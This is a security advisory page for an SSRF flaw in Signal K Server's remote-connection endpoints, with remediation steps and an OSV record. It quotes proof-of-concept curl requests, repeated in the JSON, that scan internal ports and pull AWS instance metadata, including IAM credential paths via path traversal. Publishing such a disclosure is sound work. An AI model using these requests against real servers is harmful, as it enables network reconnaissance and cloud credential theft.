CVE-2026-55591: Signal K Server Server-Side Request Forgery Vulnerability

MODERATE
Advisory Identifier: GHSA-q59x-jc9f-gfqf
CVSS 5.8
CWE-918
Published
Advisory Summary

CVE-2026-55591 is a MODERATE (CVSS 5.8) server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Signal K Server libraries in the npm ecosystem. The issue involves server-side request forgery via remote connection endpoints. Remediation is available by upgrading affected packages to version 2.28.0.

CVE-2026-55591 at a Glance

CVE Identifier CVE-2026-55591
GHSA Identifier GHSA-q59x-jc9f-gfqf
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Signal K Server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55591

To remediate this vulnerability, upgrade all affected Signal K Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

signalk-server fixed: 2.28.0
npm install signalk-server@2.28.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls signalk-server

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-55591, inspect your project dependencies using npm:

npm ls signalk-server

Analyze the terminal output to locate any version of Signal K Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.28.0), your application is affected.

Note: The npm ls signalk-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Signal K Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations. When security is not configured (the default state), these endpoints require **no authentication**. ### Details #### Vulnerable Function The core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`: ```typescript function makeRemoteRequest( host: string, port: number, useTLS: boolean, selfsignedcert: boolean, path: string, method?: string, headers?: Record<string, string>, body?: unknown ): Promise<{ status: number | undefined; data: string }> { const protocol = useTLS ? https : http return new Promise((resolve, reject) => { const options = { hostname: host, // NO VALIDATION - attacker controlled port, // NO VALIDATION - attacker controlled path, method: method || 'GET', headers: { ...(headers || {}), ...(body ? { 'Content-Type': 'application/json' } : {}) }, rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification } const req = protocol.request(options, (response) => { let data = '' response.on('data', (chunk: string) => { data += chunk }) response.on('end', () => { resolve({ status: response.statusCode, data }) }) }) req.on('error', reject) req.setTimeout(10000, () => { req.destroy(new Error('Connection timed out')) }) if (body) { req.write(JSON.stringify(body)) } req.end() }) } ``` #### Missing Validation The function performs **zero validation** on the destination host. The following address ranges are all reachable: - **Loopback**: `127.0.0.1`, `::1`, `localhost` - **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` - **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS) - **IPv6 link-local**: `fe80::/10` - **Any arbitrary external host**: enabling the server as an open proxy #### Authentication Bypass via Default Configuration The endpoints are protected by `addAdminMiddleware()` (lines 2339-2345): ```typescript app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`) app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`) app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`) ``` However, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**: ```typescript addAdminMiddleware: () => {}, ``` This means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**. #### Additional Attack Surface: TLS Verification Bypass The `selfsignedcert` parameter directly controls `rejectUnauthorized`: ```typescript rejectUnauthorized: !selfsignedcert ``` When an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection. #### Additional Attack Surface: Path Traversal in checkAccessRequest The `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path: ```typescript `/signalk/v1/requests/${requestId}` ``` An attacker can use path traversal (e.g., `requestId: "../../other/endpoint"`) to target arbitrary paths on the destination host. ### PoC #### Target Setup Set up a bare-metal signalk-server for testing (or use Docker to simulate): ```bash docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \ bash -c 'npm install -g signalk-server@2.27.0 && signalk-server' # Wait for startup until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done ``` Set the target variable: ```bash TARGET=http://127.0.0.1:3000 ``` Confirm `"authenticationRequired":false` in the loginStatus response before proceeding. #### PoC 1: Loopback Connection (Self-Discovery) ```bash curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}' ``` **Response** (confirms SSRF, the server connected to itself): ```json { "success": true, "authenticated": false, "server": { "id": "signalk-server-node", "version": "2.27.0" } } ``` #### PoC 2: Port Scanning via Error Differentiation ```bash # Open port (3000) — returns server data curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}' # Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}} # Closed port (9999) — immediate ECONNREFUSED curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}' # Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"} # Filtered port — 10-second timeout then error curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}' # Response (after 10s): {"success":false,"error":"Connection timed out"} ``` The three distinct error responses allow an attacker to map internal network topology. #### PoC 3: AWS Instance Metadata Service (IMDSv1) On a cloud-hosted signalk-server (AWS EC2): ```bash curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}' ``` The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`: ```bash curl -s -X POST $TARGET/skServer/checkAccessRequest \ -H "Content-Type: application/json" \ -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}' ``` ### Impact 1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds). 2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata. 3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet. 4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests. 5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.

CVE-2026-55591 Affected Signal K Server Versions

1 component(s)
Fixed Versions:
2.28.0
Product / Package Ecosystem Affected Versions Fixed Version
signalk-server
npm
< 2.28.0
2.28.0

References

Frequently Asked Questions

What is CVE-2026-55591?
CVE-2026-55591 is a security vulnerability in Signal K Server involving Server-Side Request Forgery via Remote Connection Endpoints under CWE-918: Server-Side Request Forgery (SSRF).
Which Signal K Server versions are affected?
Affected versions include releases prior to 2.28.0 across affected packages: signalk-server.
What version fixes CVE-2026-55591?
Upgrading to 2.28.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is signalk-server affected?
Yes, signalk-server is affected in releases prior to 2.28.0. Upgrade your dependency to 2.28.0 or later.
What is the CVSS score of CVE-2026-55591?
CVE-2026-55591 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2026-55591?
CVE-2026-55591 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-55591?
Run the dependency tree command: 'npm ls signalk-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q59x-jc9f-gfqf",
  "modified" : "2026-06-18T21:13:36Z",
  "published" : "2026-06-18T21:13:36Z",
  "aliases" : [ "CVE-2026-55591" ],
  "summary" : "Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints",
  "details" : "### Summary\nsignalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.\n\nWhen security is not configured (the default state), these endpoints require **no authentication**.\n\n### Details\n#### Vulnerable Function\n\nThe core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`:\n\n```typescript\nfunction makeRemoteRequest(\n  host: string,\n  port: number,\n  useTLS: boolean,\n  selfsignedcert: boolean,\n  path: string,\n  method?: string,\n  headers?: Record<string, string>,\n  body?: unknown\n): Promise<{ status: number | undefined; data: string }> {\n  const protocol = useTLS ? https : http\n  return new Promise((resolve, reject) => {\n    const options = {\n      hostname: host,         // NO VALIDATION - attacker controlled\n      port,                   // NO VALIDATION - attacker controlled\n      path,\n      method: method || 'GET',\n      headers: {\n        ...(headers || {}),\n        ...(body ? { 'Content-Type': 'application/json' } : {})\n      },\n      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification\n    }\n    const req = protocol.request(options, (response) => {\n      let data = ''\n      response.on('data', (chunk: string) => {\n        data += chunk\n      })\n      response.on('end', () => {\n        resolve({ status: response.statusCode, data })\n      })\n    })\n    req.on('error', reject)\n    req.setTimeout(10000, () => {\n      req.destroy(new Error('Connection timed out'))\n    })\n    if (body) {\n      req.write(JSON.stringify(body))\n    }\n    req.end()\n  })\n}\n```\n\n#### Missing Validation\n\nThe function performs **zero validation** on the destination host. The following address ranges are all reachable:\n\n- **Loopback**: `127.0.0.1`, `::1`, `localhost`\n- **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`\n- **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS)\n- **IPv6 link-local**: `fe80::/10`\n- **Any arbitrary external host**: enabling the server as an open proxy\n\n#### Authentication Bypass via Default Configuration\n\nThe endpoints are protected by `addAdminMiddleware()` (lines 2339-2345):\n\n```typescript\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)\n```\n\nHowever, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**:\n\n```typescript\naddAdminMiddleware: () => {},\n```\n\nThis means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**.\n\n#### Additional Attack Surface: TLS Verification Bypass\n\nThe `selfsignedcert` parameter directly controls `rejectUnauthorized`:\n\n```typescript\nrejectUnauthorized: !selfsignedcert\n```\n\nWhen an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.\n\n#### Additional Attack Surface: Path Traversal in checkAccessRequest\n\nThe `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path:\n\n```typescript\n`/signalk/v1/requests/${requestId}`\n```\n\nAn attacker can use path traversal (e.g., `requestId: \"../../other/endpoint\"`) to target arbitrary paths on the destination host.\n\n### PoC\n#### Target Setup\n\nSet up a bare-metal signalk-server for testing (or use Docker to simulate):\n\n```bash\ndocker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \\\n  bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'\n\n# Wait for startup\nuntil curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q \"status\"; do sleep 10; done\n```\n\nSet the target variable:\n\n```bash\nTARGET=http://127.0.0.1:3000\n```\n\nConfirm `\"authenticationRequired\":false` in the loginStatus response before proceeding.\n\n#### PoC 1: Loopback Connection (Self-Discovery)\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}'\n```\n\n**Response** (confirms SSRF, the server connected to itself):\n\n```json\n{\n  \"success\": true,\n  \"authenticated\": false,\n  \"server\": {\n    \"id\": \"signalk-server-node\",\n    \"version\": \"2.27.0\"\n  }\n}\n```\n\n#### PoC 2: Port Scanning via Error Differentiation\n\n```bash\n# Open port (3000) — returns server data\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}'\n# Response: {\"success\":true,\"server\":{\"id\":\"signalk-server-node\",\"version\":\"2.27.0\"}}\n\n# Closed port (9999) — immediate ECONNREFUSED\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"127.0.0.1\",\"port\":9999,\"useTLS\":false,\"selfsignedcert\":false}'\n# Response: {\"success\":false,\"error\":\"connect ECONNREFUSED 127.0.0.1:9999\"}\n\n# Filtered port — 10-second timeout then error\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"10.0.0.1\",\"port\":22,\"useTLS\":false,\"selfsignedcert\":false}'\n# Response (after 10s): {\"success\":false,\"error\":\"Connection timed out\"}\n```\n\nThe three distinct error responses allow an attacker to map internal network topology.\n\n#### PoC 3: AWS Instance Metadata Service (IMDSv1)\n\nOn a cloud-hosted signalk-server (AWS EC2):\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false}'\n```\n\nThe server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`:\n\n```bash\ncurl -s -X POST $TARGET/skServer/checkAccessRequest \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false,\"requestId\":\"../../latest/meta-data/iam/security-credentials/ROLE_NAME\"}'\n```\n\n### Impact\n1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).\n\n2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata.\n\n3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.\n\n4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests.\n\n5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "signalk-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.28.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.27.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/security/advisories/GHSA-q59x-jc9f-gfqf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SignalK/signalk-server"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T21:13:36Z",
    "nvd_published_at" : null
  }
}